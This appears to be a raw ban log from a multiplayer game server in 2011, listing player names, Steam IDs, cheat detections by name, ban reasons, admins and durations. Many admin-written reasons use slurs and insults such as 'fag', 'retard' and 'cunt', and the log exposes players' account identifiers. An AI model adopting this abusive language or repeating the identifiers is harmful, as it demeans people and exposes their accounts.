Unknown STEAM_0:0:27566975 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +2:17 am 22-04-11 Unknown STEAM_0:1:32324604 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:19 am 22-04-11 Unknown STEAM_0:0:5448426 Rdming metacunt +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +10:42 pm 21-04-11 Alexander Longstrider STEAM_0:1:40327043 Alt of +banned ID STEAM_0:1:22168985 (Console) Unknown Unknown Permanent +Banned +9:26 pm 21-04-11 Unknown STEAM_0:0:23245029 learn to play +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +9:18 pm 21-04-11 Unknown STEAM_0:0:23245029 learn to play +[SP]+ +ULTRA Unknown Unknown 0:5:0 Unbanned +9:00 pm 20-04-11 Snackwigidywackpack STEAM_0:1:29955819 Alt of banned +ID STEAM_0:0:20102730 (Console) Unknown Unknown 12:21:48 Unbanned +7:36 pm 20-04-11 Unknown STEAM_0:0:19962914 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:14 pm 20-04-11 Slayer353 STEAM_0:0:13257588 Massive RDM cuntface. ++[SP]+ ULTRA Unknown Unknown Permanent Banned +6:11 pm 20-04-11 â??Un4givέn«â??!? STEAM_0:1:17664259 You are +unforgivable. Bye bye. +[SP]+ ULTRA Unknown Unknown Permanent Banned +12:01 am 20-04-11 S!ber STEAM_0:1:35143632 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:01 am 20-04-11 Crazygecko STEAM_0:1:17424205 Cheat: Code +injection (Console) Unknown Unknown Permanent Banned +6:49 pm 19-04-11 Unknown STEAM_0:0:20102730 Cheat: Code injection +(Console) Unknown Unknown 14:0:0 Unbanned +6:48 pm 19-04-11 Unknown STEAM_0:1:17790269 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:13 pm 19-04-11 Z1DY S7Y13 STEAM_0:0:12299590 Ghosting +[SP]+ +CCD Unknown Unknown 3:3:0 Unbanned +12:12 pm 19-04-11 Baloom STEAM_0:1:1919577 Ghosting +[SP]+ CCD +Unknown Unknown 3:3:0 Unbanned +11:57 am 19-04-11 Unknown STEAM_0:0:13983114 Cheat: Code injection +(Console) Unknown Unknown 368:17:36 Unbanned +11:57 am 19-04-11 Unknown STEAM_0:0:34143111 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:56 am 19-04-11 Unknown STEAM_0:0:18838483 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +7:19 pm 18-04-11 Cheesey Dean STEAM_0:1:24840872 Multiple rdm. ++[SP]+ ULTRA Unknown Unknown Permanent Banned +11:37 pm 17-04-11 -» Jake STEAM_0:1:10307086 Bad excuse. +[SP]+ +ULTRA Unknown Unknown 0:2:30 Unbanned +10:20 pm 17-04-11 Unknown STEAM_0:0:32452745 Rdm, Left (Edited in +another user's IP so as they get caught by the alt trapper) +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +6:47 pm 17-04-11 Unknown STEAM_0:1:8642952 RDM (Edited in troll VPN +IP to catch unrelated cheaters) +[SP]+ CCD Unknown Unknown 0:20:0 +Unbanned +6:10 pm 17-04-11 Andaz STEAM_0:0:19953733 RDM, Impersination of an +admin, +[SP]+ CCD Unknown Unknown Permanent Banned +10:40 am 17-04-11 Unknown STEAM_0:1:12581805 Cheat: +Sethhack(leaked) (Console) Unknown Unknown Permanent Banned +8:27 pm 16-04-11 TIMMEH!! STEAM_0:0:26803034 Mic Spam +[SP]+ CCD +Unknown Unknown Permanent Banned +6:51 pm 16-04-11 unknown STEAM_0:1:14496711 Alt of banned ID +STEAM_0:1:14496711 (Console) Unknown Unknown Permanent Banned +6:45 pm 16-04-11 Unknown STEAM_0:0:19953733 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +5:31 pm 16-04-11 Fallenking STEAM_0:1:36650627 Treason, Hacks +[SP]+ +CCD Unknown Unknown 3:3:0 Unbanned +11:41 am 16-04-11 unknown STEAM_0:1:14496711 Alt of banned ID +STEAM_0:1:14496711 (Console) Unknown Unknown Permanent Banned +8:23 pm 15-04-11 Little Pinguin STEAM_0:1:26452550 Cheat: +Injectshunt (Console) Unknown Unknown Permanent Banned +8:02 pm 15-04-11 Thejsen STEAM_0:1:19487854 Rdm +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +7:59 pm 15-04-11 =(e)=â?¢ Headshot28 STEAM_0:1:5220505 Hacking ++[SP]+ CCD Unknown Unknown Permanent Unbanned +2:25 am 15-04-11 Death Causer STEAM_0:1:7250585 Alt of banned ID +STEAM_0:0:25469869 (Console) Unknown Unknown Permanent Banned +2:05 am 15-04-11 the kool kid STEAM_0:0:25469869 (N/A) +[SP]+ +Searaphim Unknown Unknown Permanent Banned +6:24 pm 14-04-11 Unknown STEAM_0:1:22860119 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:16 pm 14-04-11 unknown STEAM_0:1:14496711 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +3:52 pm 14-04-11 VRN|Laserman@ Shilly Paiz Here! STEAM_0:0:7803220 +Cool off 5 mins :) +[SP]+ St. Hetfield Unknown Unknown 0:0:5 Unbanned +3:28 pm 14-04-11 -Frank- Cookiez <33 STEAM_0:0:39178528 RDM, +lying.@ +[SP]+ ULTRA Unknown Unknown 0:5:0 Unbanned +2:55 pm 14-04-11 Unknown STEAM_0:1:32096332 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +2:40 pm 14-04-11 NIKITOS=) STEAM_0:1:27515413 RDM +[SP]+ CCD +Unknown Unknown 0:3:0 Unbanned +2:23 pm 14-04-11 Unknown STEAM_0:0:37542972 RDM,LEFT +[SP]+ CCD +Unknown Unknown Permanent Banned +2:21 pm 14-04-11 Robbus Optimus XIV. STEAM_0:0:17096394 RDM +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +12:33 pm 14-04-11 Unknown STEAM_0:1:12681987 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +9:12 pm 13-04-11 Unknown STEAM_0:1:13849727 RDM several times. +Leaving. Spamming. +[SP]+ ULTRA Unknown Unknown Permanent Banned +9:09 pm 13-04-11 Unknown STEAM_0:1:17468137 RDM. Leaving. Fucktard ++[SP]+ ULTRA Unknown Unknown Permanent Banned +9:06 pm 13-04-11 The Dimak STEAM_0:1:17468137 (N/A) +[SP]+ Grim +Jam Unknown Unknown 2:18:40 Unbanned +3:23 pm 13-04-11 Unknown STEAM_0:1:5638935 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +2:43 am 13-04-11 Alkyholic STEAM_0:0:37852499 Alt of banned ID +STEAM_0:1:4166235 (Console) Unknown Unknown Permanent Banned +4:47 pm 12-04-11 Gaz [M0d3Pr0] STEAM_0:1:18006799 Mass RDM. +[SP]+ +ULTRA Unknown Unknown Permanent Banned +12:43 pm 12-04-11 {DKK}â??︻ã??â??ä¸? ---â??{DK} STEAM_0:1:19030524 +Alt of banned ID STEAM_0:1:37767930 (Console) Unknown Unknown +Permanent Banned +10:07 am 12-04-11 Unknown STEAM_0:1:21583054 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +1:05 am 12-04-11 Nelson Mandela STEAM_0:1:30528658 RDM +[SP]+ +Searaphim Unknown Unknown Permanent Banned +8:33 pm 11-04-11 Andaz STEAM_0:0:19953733 RDM +[SP]+ CCD Unknown +Unknown 0:1:0 Unbanned +6:44 pm 11-04-11 Unknown STEAM_0:0:8996978 Cheat: Injectshunt +(Console) Unknown Unknown Permanent Banned +3:57 pm 11-04-11 Emil Stensig STEAM_0:1:20840329 Karma +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +2:39 pm 11-04-11 BeCk[DK] STEAM_0:1:37767930 Fuck you +[SP]+ CCD +Unknown Unknown Permanent Banned +11:22 am 11-04-11 Unknown STEAM_0:1:24769606 Cheat: MonsterHacks +(Console) Unknown Unknown Permanent Banned +11:22 am 11-04-11 Unknown STEAM_0:0:11799654 Cheat: SethHack(edit) +(Console) Unknown Unknown Permanent Banned +10:45 am 11-04-11 Unknown STEAM_0:1:15029381 Cheat: Whip it good +(Console) Unknown Unknown Permanent Banned +2:29 am 11-04-11 (NWO)-Scarface STEAM_0:0:5979318 Cheat: Whip it +good (Console) Unknown Unknown Permanent Banned +1:05 am 11-04-11 dff280 STEAM_0:1:30594971 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:04 am 11-04-11 Unknown STEAM_0:1:11641057 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:56 pm 10-04-11 Unknown STEAM_0:0:30305169 (N/A) +[SP]+ Grim Jam +Unknown Unknown 2:18:40 Unbanned +11:43 pm 10-04-11 Dr.Spy H Always High STEAM_0:0:30305169 (N/A) ++[SP]+ Grim Jam Unknown Unknown 0:0:10 Unbanned +6:24 pm 10-04-11 DYLAN0 STEAM_0:1:14061011 Alt of banned ID +STEAM_0:1:14061011 (Console) Unknown Unknown Permanent Banned +4:06 pm 10-04-11 Unknown STEAM_0:0:20757793 RDM,LEFT2 +[SP]+ CCD +Unknown Unknown 0:7:30 Unbanned +4:04 pm 10-04-11 Fen the talkin Panda STEAM_0:0:29228371 Mass RDm, +Low karma +[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +3:59 pm 10-04-11 Unknown STEAM_0:1:14061011 Mass RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +3:49 pm 10-04-11 DYLAN0 STEAM_0:1:14061011 Mass RDM +[SP]+ CCD +Unknown Unknown Permanent Banned +2:04 pm 10-04-11 Krazyfool STEAM_0:0:25457764 Karma +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +1:28 pm 10-04-11 Jarro STEAM_0:1:22172556 Go Spam your muM +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +12:02 pm 10-04-11 Thomik STEAM_0:1:26701758 Noob,KARMA,RDM +[SP]+ +CCD Unknown Unknown 0:2:0 Unbanned +12:02 am 10-04-11 Mega-Ultra-Chicken STEAM_0:1:24255616 Idiot +(Unbanned - mistakenly thought it was RDM) Flapadar Unknown Unknown +Permanent Unbanned +2:40 pm 09-04-11 Grio STEAM_0:0:6167077 Alt of banned ID +STEAM_0:0:6167077 (Console) Unknown Unknown Permanent Banned +2:03 pm 09-04-11 Andaz STEAM_0:0:19953733 No Flapadar Unknown +Unknown 1:0:0 Unbanned +1:30 pm 09-04-11 Duncan STEAM_0:0:27557048 RDM Flapadar Unknown +Unknown 1:0:0 Unbanned +12:45 pm 09-04-11 â?¯â?¯â?®â?®â?®â?®â?®â?®â?®â?¯â STEAM_0:1:22948301 +Troll Flapadar Unknown Unknown Permanent Banned +10:40 am 09-04-11 TC | Dark | Deadmau5 STEAM_0:1:39039868 Karma to +low ColdFusion Unknown Unknown 0:2:0 Unbanned +1:27 am 09-04-11 Phygar STEAM_0:0:17546475 Alt of banned ID +STEAM_0:0:17546475 (Console) Unknown Unknown 0:0:46 Unbanned +10:46 am 08-04-11 [oG] Clark STEAM_0:0:39962440 Alt of banned ID +STEAM_0:0:39962440 (Console) Unknown Unknown Permanent Banned +10:47 pm 07-04-11 Orbixx STEAM_0:1:6019229 Alt of banned ID +STEAM_0:1:6019229 (Console) Unknown Unknown 0:2:23 Unbanned +8:44 pm 07-04-11 Equius Zahhak STEAM_0:0:25519336 RDM, 400 KARMA! ++[SP]+ CCD Unknown Unknown 212:1:24 Unbanned +8:33 pm 07-04-11 Unknown STEAM_0:1:10037078 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +8:28 pm 07-04-11 Unknown STEAM_0:0:29134430 RDM +[SP]+ CCD +Unknown Unknown 0:2:0 Unbanned +8:25 pm 07-04-11 Unknown STEAM_0:0:17721438 RDM, Left +[SP]+ CCD +Unknown Unknown 0:2:0 Unbanned +8:20 pm 07-04-11 Marcus STEAM_0:0:26229502 Mass RDM +[SP]+ CCD +Unknown Unknown 0:3:0 Unbanned +5:52 pm 07-04-11 Mega64 the Slag STEAM_0:0:17402999 Karma under 600 ++[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +4:34 pm 07-04-11 Unknown STEAM_0:1:10232500 Rdm -> Disconnect +ColdFusion Unknown Unknown Permanent Banned +1:14 am 07-04-11 Lieutenant Carter Blake STEAM_0:1:6789605 Rdming +Detective +[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +1:10 am 07-04-11 Orbixx STEAM_0:1:6019229 Karma under 600 +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +1:05 am 07-04-11 DEREK STEAM_0:0:313243 Trolling +[SP]+ Hellknite +Unknown Unknown 0:1:0 Unbanned +11:23 pm 06-04-11 Unknown STEAM_0:0:11411595 cunt +[SP]+ Grim Jam +Unknown Unknown Permanent Banned +11:23 pm 06-04-11 Unknown STEAM_0:0:11411595 cunt +[SP]+ Grim Jam +Unknown Unknown Permanent Banned +11:13 pm 06-04-11 Spacial Awareness STEAM_0:0:11411595 cunt +[SP]+ +Grim Jam Unknown Unknown Permanent Banned +11:13 pm 06-04-11 Spess Marine STEAM_0:1:10203347 cunt +[SP]+ Grim +Jam Unknown Unknown Permanent Banned +6:31 pm 06-04-11 Unknown STEAM_0:0:39962440 Cheat: ClarkHack +(Console) Unknown Unknown Permanent Banned +4:47 pm 06-04-11 [BuB!!] Styropor im Ohr STEAM_0:0:5990189 Karma +under 600 +[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +4:46 pm 06-04-11 DaiOni STEAM_0:0:15371034 Rdming despite warning ++[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +1:18 am 06-04-11 kpoy STEAM_0:1:29093238 Mass-RDM, Insulting Players, +Big Mouth, Multiple Warnings. +[SP]+ Bloodcore Unknown Unknown +Permanent Banned +7:14 pm 05-04-11 Kris STEAM_0:0:28878438 RDM. Tard +[SP]+ ULTRA +Unknown Unknown 3:0:0 Unbanned +7:06 pm 05-04-11 Unknown STEAM_0:0:27781788 MultipleHacks +ColdFusion Unknown Unknown Permanent Banned +7:05 pm 05-04-11 Unknown STEAM_0:1:25812285 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +6:52 pm 05-04-11 EpicFail.dk | Feldt STEAM_0:0:26845704 Rdm 800 +ColdFusion Unknown Unknown 0:13:20 Unbanned +6:42 pm 05-04-11 Unknown STEAM_0:1:12057376 Rdm -> Disconnect +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +6:33 pm 05-04-11 MrSonny STEAM_0:0:11411595 Good Job +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +5:52 pm 05-04-11 Unknown STEAM_0:0:12562190 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +5:46 pm 05-04-11 fenrir STEAM_0:1:25615398 Submit your CV at +stonedpotatoes.com Flapadar Unknown Unknown Permanent Banned +4:57 pm 05-04-11 Phygar STEAM_0:0:17546475 Alt of banned ID +STEAM_0:0:17546475 (Console) Unknown Unknown 3:9:16 Unbanned +4:57 pm 05-04-11 pdew210 STEAM_0:1:23746338 23 incorrect kills +Flapadar Unknown Unknown Permanent Banned +3:21 am 05-04-11 Dulluzions STEAM_0:1:29205246 You suck +[SP]+ +Hellknite Unknown Unknown 0:3:0 Unbanned +10:14 pm 04-04-11 Phygar STEAM_0:0:17546475 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +6:42 pm 04-04-11 à¹?Û£Û?Pinxo STEAM_0:0:24950719 Persistant Rdming +Tardiness +[SP]+ Grim Jam Unknown Unknown 0:6:40 Unbanned +4:42 pm 04-04-11 mr happy pyro STEAM_0:1:14981294 Persistant Retarded +Rdm +[SP]+ Grim Jam Unknown Unknown 0:5:0 Unbanned +11:59 am 04-04-11 Unknown STEAM_0:0:29340388 Propkilling, whining, +moaning, posting useless ban requests, leaving game when base is under +attack +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +10:23 am 04-04-11 Unknown STEAM_0:0:17784269 Cheat: Inkbot +ColdFusion Unknown Unknown Permanent Banned +10:23 am 04-04-11 Unknown STEAM_0:1:18460701 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +10:21 am 04-04-11 Unknown STEAM_0:0:26159643 Cheat: Inkbot +ColdFusion Unknown Unknown Permanent Banned +10:21 am 04-04-11 Unknown STEAM_0:0:14073219 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +11:29 pm 03-04-11 Unknown STEAM_0:0:16698201 RDM +[SP]+ CCD +Unknown Unknown Permanent Banned +11:28 pm 03-04-11 Unknown STEAM_0:0:26025446 RDM +[SP]+ CCD +Unknown Unknown Permanent Banned +11:20 pm 03-04-11 Unknown STEAM_0:0:14795682 RDM +[SP]+ CCD +Unknown Unknown Permanent Banned +11:01 pm 03-04-11 Dragonatheart1995 STEAM_0:1:30285776 Alt of banned +ID STEAM_0:1:30285776 (Console) Unknown Unknown Permanent Banned +10:58 pm 03-04-11 à¹?Û£Û?Pinxo STEAM_0:0:24950719 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +10:48 pm 03-04-11 James Clark STEAM_0:0:13797259 TROLL +[SP]+ CCD +Unknown Unknown Permanent Banned +10:44 pm 03-04-11 Unknown STEAM_0:0:6167077 Skiddie (Console) +Unknown Unknown Permanent Banned +10:22 pm 03-04-11 MonkeyMo STEAM_0:1:5130278 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +8:16 pm 03-04-11 Unknown STEAM_0:1:39642650 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +7:33 pm 03-04-11 C to the UNIT STEAM_0:0:17302808 Hacks ColdFusion +Unknown Unknown Permanent Banned +6:06 pm 03-04-11 Pohjanpoika STEAM_0:1:18418479 Mass RDM Flapadar +Unknown Unknown Permanent Banned +4:09 pm 03-04-11 Phygar STEAM_0:0:17546475 Alt of banned ID +STEAM_0:0:17546475 (Console) Unknown Unknown 29:9:34 Unbanned +3:25 pm 03-04-11 Aco_Never_Forget STEAM_0:1:29968128 RDM +[SP]+ +CCD Unknown Unknown 0:2:0 Unbanned +2:22 pm 03-04-11 Sturtsni STEAM_0:1:1647878 Alt of banned ID +STEAM_0:1:25757548 (Console) Unknown Unknown Permanent Banned +1:57 pm 03-04-11 g0at #myg0t STEAM_0:0:10230123 skid (Console) +Unknown Unknown Permanent Banned +1:44 am 03-04-11 Phygar STEAM_0:0:17546475 RDM +[SP]+ ULTRA +Unknown Unknown 30:0:0 Unbanned +10:57 pm 02-04-11 Einstein STEAM_0:0:16820350 Rdm again again again +ColdFusion Unknown Unknown Permanent Banned +9:46 pm 02-04-11 call of duty black ops STEAM_0:0:33343624 mic spam +ColdFusion Unknown Unknown 0:0:10 Unbanned +7:54 pm 02-04-11 Unknown STEAM_0:0:14700480 Prop pushing (Console) +Unknown Unknown 1:0:0 Unbanned +7:53 pm 02-04-11 REMY Smitch STEAM_0:0:27333948 Raped +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +3:05 pm 02-04-11 Unknown STEAM_0:1:37768656 Cheat: Sethhack(leaked) +(Console) Unknown Unknown Permanent Banned +10:59 pm 01-04-11 Unknown STEAM_0:1:28978882 Karma under 700 +[SP]+ +Hellknite Unknown Unknown 0:1:0 Unbanned +10:21 pm 01-04-11 Unknown STEAM_0:0:37953440 Cheat: Convar forcing ++[SP]+ Hellknite Unknown Unknown Permanent Banned +6:34 pm 31-03-11 Unknown STEAM_0:1:16223844 Mass-RDM, Dick. +[SP]+ +Bloodcore Unknown Unknown Permanent Banned +7:47 pm 30-03-11 Unknown STEAM_0:1:31816542 Mass Rdm -> disconnect ++[SP]+ Hellknite Unknown Unknown 2:0:0 Unbanned +8:11 pm 29-03-11 Cake STEAM_0:0:8552585 Trolling + RDM. Gtfo tard +Volkssquad, ja. Unknown Unknown Permanent Banned +8:11 pm 29-03-11 Pelle STEAM_0:0:14676151 Trolling + RDM. Gtfo tard +Volkssquad, ja. Unknown Unknown Permanent Banned +8:01 pm 29-03-11 Unknown STEAM_0:0:34730342 Micspamming + tard, shit +kid. Can stay banned for a week. Volkssquad, ja. Unknown Unknown +7:0:0 Unbanned +7:56 pm 29-03-11 xion STEAM_0:1:32368518 You are supposed to be perma +banned already. + mic spam Volkssquad, ja. Unknown Unknown +Permanent Banned +3:22 pm 29-03-11 Frodo Baggins STEAM_0:1:25630402 Alt of banned ID +STEAM_0:1:25630402 (Console) Unknown Unknown 24:4:44 Unbanned +3:02 pm 29-03-11 Unknown STEAM_0:1:16495698 Mass-RDM -> Disconnect ++[SP]+ Bloodcore Unknown Unknown 8:8:0 Unbanned +3:02 pm 29-03-11 Unknown STEAM_0:1:16223844 Mass-RDM -> Disconnect ++[SP]+ Bloodcore Unknown Unknown 8:8:0 Unbanned +1:17 pm 27-03-11 Unknown STEAM_0:0:4386443 Cheat: Inkbot +ColdFusion Unknown Unknown Permanent Banned +1:16 pm 27-03-11 Unknown STEAM_0:1:32988394 mat_fullbright 1 +ColdFusion Unknown Unknown Permanent Banned +11:20 am 26-03-11 Sam STEAM_0:1:25630402 Alt of banned ID +STEAM_0:1:25630402 (Console) Unknown Unknown 27:7:46 Unbanned +9:40 am 26-03-11 Unknown STEAM_0:1:39246443 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +9:39 am 26-03-11 Unknown STEAM_0:0:35192837 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +1:21 am 26-03-11 Wit Tank STEAM_0:0:36841282 (N/A) +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +1:21 am 26-03-11 Come at me bro STEAM_0:1:22168985 (N/A) +[SP]+ MAD +MANN Unknown Unknown Permanent Banned +10:02 pm 25-03-11 Unknown STEAM_0:1:13021252 Encouraging dickwipe ++[SP]+ Hellknite Unknown Unknown 2:0:0 Unbanned +10:01 pm 25-03-11 hakkomielteinen[fin] STEAM_0:0:24980185 Dickwipe ++[SP]+ Hellknite Unknown Unknown Permanent Banned +7:27 pm 25-03-11 Digger Nick STEAM_0:0:34092283 blantant +[SP]+ MAD +MANN Unknown Unknown 3:0:0 Unbanned +2:54 pm 25-03-11 Sam STEAM_0:1:25630402 Alt of banned ID +STEAM_0:1:25630402 (Console) Unknown Unknown 28:4:12 Unbanned +2:50 pm 25-03-11 Meowth Ex Barathrum STEAM_0:0:15802192 Tard. +[SP]+ +ULTRA Unknown Unknown 0:0:15 Unbanned +2:30 pm 25-03-11 Unknown STEAM_0:0:37403729 Nade spamming, RDM, +disconnect +[SP]+ St. Hetfield Unknown Unknown 6:22:40 Unbanned +2:15 pm 25-03-11 _| DEADHUNTER |_ STEAM_0:1:31845049 RDM + Retard ++[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +1:06 pm 25-03-11 Ñ?нÆ? THE DARK KILLER [DK] STEAM_0:0:18390033 Loner +with a boner, being dick +[SP]+ St. Hetfield Unknown Unknown +0:0:30 Unbanned +11:11 am 25-03-11 Wonderman STEAM_0:1:22334543 Alt of banned ID +STEAM_0:1:22334543 (Console) Unknown Unknown 0:10:22 Unbanned +2:22 am 25-03-11 Duncan the Wizard STEAM_0:0:14795682 idiot Wigbig +Unknown Unknown 2:8:40 Unbanned +2:20 am 25-03-11 Rythian STEAM_0:1:14915531 You Wigbig Unknown +Unknown 2:8:40 Unbanned +2:17 am 25-03-11 Zoeya STEAM_0:1:4455 Idiot Wigbig Unknown +Unknown 2:8:40 Unbanned +2:09 am 25-03-11 Ropes STEAM_0:1:19913622 racism +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +1:40 am 25-03-11 Gabriel STEAM_0:1:38548833 (N/A) +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +10:58 pm 24-03-11 Unknown STEAM_0:1:22168985 Trollin and sheisse ++[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +9:56 pm 24-03-11 Unknown STEAM_0:1:30285776 Cheat: Hermes +(Console) Unknown Unknown Permanent Banned +9:55 pm 24-03-11 Unknown STEAM_0:1:25757548 Cheat: Eradicate +(Console) Unknown Unknown Permanent Banned +9:33 pm 24-03-11 Wonderman STEAM_0:1:22334543 Had that look about +him +[SP]+ Hellknite Unknown Unknown 1:0:0 Unbanned +3:42 pm 24-03-11 Forgotten shadow STEAM_0:1:25630402 Alt of banned ID +STEAM_0:1:25630402 (Console) Unknown Unknown 29:3:24 Unbanned +3:35 pm 24-03-11 Unknown STEAM_0:1:18806178 Being retard + lying. +Have fun on another server +[SP]+ ULTRA Unknown Unknown Permanent +Banned +3:35 pm 24-03-11 Unknown STEAM_0:1:5177304 Being retards +[SP]+ +ULTRA Unknown Unknown Permanent Banned +3:32 pm 24-03-11 SmurFKinG STEAM_0:1:5177304 Being retards +[SP]+ +ULTRA Unknown Unknown Permanent Banned +3:32 pm 24-03-11 Purple People STEAM_0:1:18806178 Being retard + +lying. Have fun on another server +[SP]+ ULTRA Unknown Unknown +Permanent Banned +10:25 pm 23-03-11 Unknown STEAM_0:1:10897283 Cheat: Sethhack +[SP]+ +Hellknite Unknown Unknown Permanent Banned +7:06 pm 23-03-11 Sammy STEAM_0:1:25630402 Idiot, RDM (Console) +Unknown Unknown 30:0:0 Unbanned +3:38 pm 23-03-11 Unknown STEAM_0:0:5067481 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +1:09 am 23-03-11 TheTruthOfLies STEAM_0:0:26652690 rdm +[SP]+ MAD +MANN Unknown Unknown 1:6:0 Unbanned +2:48 pm 22-03-11 Unknown STEAM_0:1:10897283 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +2:47 pm 22-03-11 Unknown STEAM_0:1:10897283 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +2:45 pm 22-03-11 Unknown STEAM_0:1:17041504 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +2:44 pm 22-03-11 Unknown STEAM_0:1:18460921 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +1:04 am 22-03-11 Kite STEAM_0:0:897834 heres +[SP]+ MAD MANN +Unknown Unknown 8333:8:0 Banned +12:59 am 22-03-11 Nate Dogg is Dead STEAM_0:1:3650105 heres +[SP]+ +MAD MANN Unknown Unknown 833:8:0 Banned +10:19 pm 21-03-11 Come at me bro STEAM_0:1:22168985 Nice shot +wankstain +[SP]+ Hellknite Unknown Unknown 0:1:0 Unbanned +9:22 pm 21-03-11 IluvBread STEAM_0:0:1655083 Your karma is worse than +your name +[SP]+ Hellknite Unknown Unknown 0:1:0 Unbanned +7:09 pm 21-03-11 staelth killer (RUS) STEAM_0:0:15261031 +Teamkilling +[SP]+ Bloodcore Unknown Unknown 0:1:0 Unbanned +4:59 pm 21-03-11 linus5553 STEAM_0:1:27082347 Last time you had ++[SP]+ ULTRA Unknown Unknown Permanent Banned +4:53 pm 21-03-11 Unknown STEAM_0:0:11933255 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +4:52 pm 21-03-11 Unknown STEAM_0:1:30069104 RDM. Has been rdming a +lot in the past, actually forgot to ban him in the past. Might as well +make it perma now +[SP]+ ULTRA Unknown Unknown Permanent Banned +2:44 pm 21-03-11 Unknown STEAM_0:1:12115323 RDM + Leave +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +9:29 pm 20-03-11 Dragonatheart1995(myg0t) STEAM_0:1:30285776 Hitting +me with his crowbar all the time, annoying me(admin) +[SP]+ ULTRA +Unknown Unknown 0:2:0 Unbanned +8:13 pm 20-03-11 Unknown STEAM_0:1:9321059 RDM +[SP]+ Bloodcore +Unknown Unknown 41:16:0 Unbanned +8:03 pm 20-03-11 Wolfy STEAM_0:0:35556210 RDM -> Disconnect +[SP]+ +Bloodcore Unknown Unknown 0:2:0 Unbanned +3:10 pm 20-03-11 Unknown STEAM_0:1:25630402 Troll +[SP]+ Hellknite +Unknown Unknown 0:0:30 Unbanned +1:09 pm 20-03-11 JTFish STEAM_0:0:5769642 Wankstain +[SP]+ +Hellknite Unknown Unknown 0:0:30 Unbanned +10:25 am 20-03-11 {>BW<}masterdup STEAM_0:1:34385581 idiot +ColdFusion Unknown Unknown 0:16:40 Unbanned +9:11 am 20-03-11 Unknown STEAM_0:1:17432486 RDM/Lowkarma, Left, I +rather have you just stay so i can ban you instead of looking you up in +the logs ColdFusion Unknown Unknown Permanent Banned +12:49 am 20-03-11 Unknown STEAM_0:1:24533954 Mass-RDM -> +Disconnect, Fag +[SP]+ Bloodcore Unknown Unknown 41:16:0 Unbanned +9:35 pm 19-03-11 Unknown STEAM_0:0:10970174 Mass-RDM -> Disconnect ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +9:26 pm 19-03-11 crosbyfan87 STEAM_0:0:7350016 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +4:28 pm 19-03-11 -» Jake STEAM_0:1:10307086 12 480. ColdFusion +Unknown Unknown 0:8:0 Unbanned +2:12 pm 19-03-11 Usoundjellybro STEAM_0:1:16585983 Low Karma +ColdFusion Unknown Unknown 0:8:0 Unbanned +1:46 pm 19-03-11 BubbleGun! STEAM_0:1:31065547 Rdmx2 ColdFusion +Unknown Unknown 0:8:0 Unbanned +1:46 pm 19-03-11 [LDT] Hobanobaclypse STEAM_0:0:12072494 Rdmx2 +ColdFusion Unknown Unknown 0:3:0 Unbanned +1:43 pm 19-03-11 duck STEAM_0:0:33722884 Idiot ColdFusion Unknown +Unknown 0:3:0 Unbanned +12:53 pm 19-03-11 Unknown STEAM_0:1:20940543 Cheat: Sethhack +ColdFusion Unknown Unknown Permanent Banned +10:45 pm 18-03-11 Wolfy | LEROY MOTHERFUKIN JENKI STEAM_0:0:35556210 +mic spam 